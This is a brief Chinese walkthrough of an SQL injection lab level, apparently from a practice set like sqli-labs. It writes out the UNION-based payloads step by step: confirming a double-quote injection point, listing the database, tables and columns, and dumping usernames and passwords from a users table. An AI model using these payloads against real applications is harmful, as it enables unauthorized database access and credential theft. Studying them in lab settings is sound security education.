首先判断一下是否为数字型注入 输入如下
id=1'&&id=1 and 1=2
回显如下
正确回显了 说明属于字符型注入
然后在判断是属于单引还是双引
输入1'
回显如下
正确回显 再试一试双引号
输入1"
回显如下
这告诉我们两件事情 1.这属于双引号注入类型 2.这道题对错误没有反应 不能进行报错注入
佐证一下 输入1"--+
回显如下
不用在判断是否有误括号了 因为如果存在括号的话 那么上面的页面就不会爆对了 因为我们没有进行括号的闭合操作 所以注入点就是双引号注入
然后我们这一道题无法使用报错注入 所以我们使用联合注入
首先判断一下回显点 输入如下
id=1'&&id=0" union select 1,2,3--+
回显如下
存在两个回显位
开始爆库/版本号
输入如下
id=1'&&id=0" union select 1,database(),version()--+
回显如下
爆表 输入如下
id=1'&&id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
回显如下
爆字段 输入如下
id=1'&&id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
回显如下
爆用户名和密码相关信息 输入如下
id=1'&&id=0" union select 1,2,group_concat(username,password) from users--+
回显如下
这一关也成功了 嗨嗨!!